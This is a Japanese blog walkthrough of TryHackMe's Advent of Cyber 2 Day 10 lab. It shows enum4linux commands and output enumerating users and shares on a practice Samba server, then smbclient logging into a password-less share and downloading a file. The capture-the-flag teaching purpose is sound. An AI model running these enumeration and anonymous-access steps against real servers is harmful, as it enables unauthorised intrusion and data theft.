[TryHackMe] Advent of Cyber 2, Day 10 - Walkthrough -

本稿では、[TryHackMe](https://tryhackme.com/)にて提供されている「[Advent of Cyber 2](https://tryhackme.com/room/adventofcyber2)」ルームに関する攻略方法（Walkthrough）について検証します。
「Advent of Cyber 2」は「free room」（無料）で提供されています。購読を必要とせずに仮想マシンを「展開（Deploy）」することができます。

>『Advent of Cyber 2』のWalkthroughインデックスを「[[TryHackMe] Advent of Cyber 2に参加してみた](https://qiita.com/v_avenger/items/ac9092374e5bf16a2dd0)」にて公開しました。

# [Day 10] Networking: Don't be sElfish!
## ストーリー
![Day10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/92eb58c9-8188-b679-c6ed-d1df6478b7dd.png)

>**The Best Festival Company（TBFC）**は、昨年の攻撃の後、ITインフラを拡張し、VPNサーバーや他のサービスを含めて、他のすべてのエルフが使用できるようにしました。あなたは安堵のため息をつく......「*そうだ、私、エルフ・McEagerが2020年のクリスマスを救ってくれたんだ！*」と、「*待ちきれない...*」
>
>しかし、突然、冷たい震えがあなたの背骨を駆け下り、あなたの独白を中断します...
>
>あなたは突然、攻撃が発生する直前にエルフ・McSkidyが`Samba`ファイルサーバーを設定していたことを思い出します。--これもハッキングされたのか？ これもハッキングされた可能性があるのか？ 私たちのデータはどうですか...いや、 早く！ リークされた可能性のあるユーザー名を調べ、自分でサーバーにログインを試み、発見された脆弱性をメモしてエルフ・McSkidyに報告してみよう。

## Day 10 - #1.
>Question #1 Using enum4linux, how many users are there on the Samba server (MACHINE_IP)?

IPアドレス`MACHINE_IP`を`tbfc.smb`として、`/etc/hosts`に追加します。
その上で、`enum4linux`コマンドを使用します。コマンド構文は次のとおりです。

```
kali@kali:~$ enum4linux -U tbfc.smb
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Dec 10 11:54:52 2020

 ========================== 
|    Target Information    |
 ========================== 
Target ........... tbfc.smb
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ================================================ 
|    Enumerating Workgroup/Domain on tbfc.smb    |
 ================================================ 
[+] Got domain/workgroup name: TBFC-SMB-01

 ================================= 
|    Session Check on tbfc.smb    |
 ================================= 
[+] Server tbfc.smb allows sessions using username '', password ''

 ======================================= 
|    Getting domain SID for tbfc.smb    |
 ======================================= 
Domain Name: TBFC-SMB-01
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ========================= 
|    Users on tbfc.smb    |
 ========================= 
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy       Name:   Desc: 
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager       Name: elfmceager        Desc: 
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson    Name:   Desc: 

user:[elfmcskidy] rid:[0x3e8]
user:[elfmceager] rid:[0x3ea]
user:[elfmcelferson] rid:[0x3e9]
enum4linux complete on Thu Dec 10 11:55:08 2020
```

解答は「`grep Account`」の結果がヒントです。

```
kali@kali:~$ enum4linux -U tbfc.smb | grep Account
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: elfmcskidy       Name:   Desc: 
index: 0x2 RID: 0x3ea acb: 0x00000010 Account: elfmceager       Name: elfmceager        Desc: 
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelferson    Name:   Desc:
```

## Day 10 - #2.
>Question #2 Now how many "shares" are there on the Samba server?

`enum4linux`コマンドを使用します。コマンド構文は次のとおりです。

```
kali@kali:~$ enum4linux -S tbfc.smb
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Dec 10 11:57:56 2020
.
省略
.
 ===================================== 
|    Share Enumeration on tbfc.smb    |
 ===================================== 

        Sharename       Type      Comment
        ---------       ----      -------
        tbfc-hr         Disk      tbfc-hr
        tbfc-it         Disk      tbfc-it
        tbfc-santa      Disk      tbfc-santa
        IPC$            IPC       IPC Service (tbfc-smb server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on tbfc.smb
//tbfc.smb/tbfc-hr      Mapping: DENIED, Listing: N/A
//tbfc.smb/tbfc-it      Mapping: DENIED, Listing: N/A
//tbfc.smb/tbfc-santa   Mapping: OK, Listing: OK
//tbfc.smb/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Thu Dec 10 11:58:17 2020
```

## Day 10 - #3.
>Question #3 Use smbclient to try to login to the shares on the Samba server (MACHINE_IP). What share doesn't require a password?

`Day 10 - #2.`にて`Mapping: OK, Listing: OK`と診断された共有ディレクトリがあります。

```
kali@kali:~$ smbclient //tbfc.smb/tbfc-hr
Enter WORKGROUP\kali's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED
kali@kali:~$ smbclient //tbfc.smb/tbfc-it
Enter WORKGROUP\kali's password: 
tree connect failed: NT_STATUS_ACCESS_DENIED
kali@kali:~$ smbclient //tbfc.smb/tbfc-santa
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \>
```

## Day 10 - #4.
>Question #4 Log in to this share, what directory did ElfMcSkidy leave for Santa?

`smbclient`コマンドを使用して、`tbfc.smb`サーバーの共有リソースへアクセスします。コマンド構文は次のとおりです。

```
kali@kali:~$ smbclient //tbfc.smb/tbfc-santa
Enter WORKGROUP\kali's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Nov 11 21:12:07 2020
  ..                                  D        0  Wed Nov 11 20:32:21 2020
  jingle-tunes                        D        0  Wed Nov 11 21:10:41 2020
  note_from_mcskidy.txt               N      143  Wed Nov 11 21:12:07 2020

                10252564 blocks of size 1024. 5200028 blocks available
```

`note_from_mcskidy.txt`ファイルの内容が気になります。ローカルにダウンロードします。

```
smb: \> get note_from_mcskidy.txt
getting file \note_from_mcskidy.txt of size 143 as note_from_mcskidy.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
```

`note_from_mcskidy.txt`ファイルの内容を`cat`コマンドで確認してみましょう。

```
kali@kali:~$ cat note_from_mcskidy.txt 
Hi Santa, I decided to put all of your favourite jingles onto this share - allowing you access it from anywhere you like! Regards ~ ElfMcSkidy
```

>こんにちは、サンタさん。あなたのお気に入りのジングルをこの共有に入れてみました。--あなたが好きな場所からそこへアクセスできるようにします！ よろしく 〜 エルフ・McSkidy

`jingle-tunes`ディレクトリの内容を確認しておきましょう。

```
smb: \> cd jingle-tunes
smb: \jingle-tunes\> dir
  .                                   D        0  Wed Nov 11 21:10:41 2020
  ..                                  D        0  Wed Nov 11 21:12:07 2020

                10252564 blocks of size 1024. 5200028 blocks available
smb: \jingle-tunes\>
```

## 補足：nmapAutomator.sh スクリプト
`nmapAutomator.sh`スクリプトを使えば必要な情報が簡単に収集できます。
![nmapAutomator.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/e909ce40-6a63-ec76-e015-6d7b65c1325c.png)

10日目のミッションが終了です。

# 参考になるTryHackMeのルーム
- [Printer Hacking 101](https://tryhackme.com/room/printerhacking101)
- [Kenobi](https://tryhackme.com/room/kenobi)
- [Anonymous](https://tryhackme.com/room/anonymous)

# Walkthrough
- Constant Vigilance, [Christmas Crisis - Networking](https://www.wclaymoody.com/blog/tryhackme-adventofcyber-2020/#day-10), フラグ取得までを自動化したPythonコード
- BRYAN WENDT, [TryHackMe – Advent of Cyber 2 – Day 10 – Walkthrough](https://bryanwendt.wordpress.com/2020/12/10/tryhackme-advent-of-cyber-2-day-10-walkthrough/)
- NEERANJAN MURUGAN, [Advent of Cyber 2 ~ Try Hack Me](https://neeranjan.com/advent-of-cyber-2-try-hack-me/)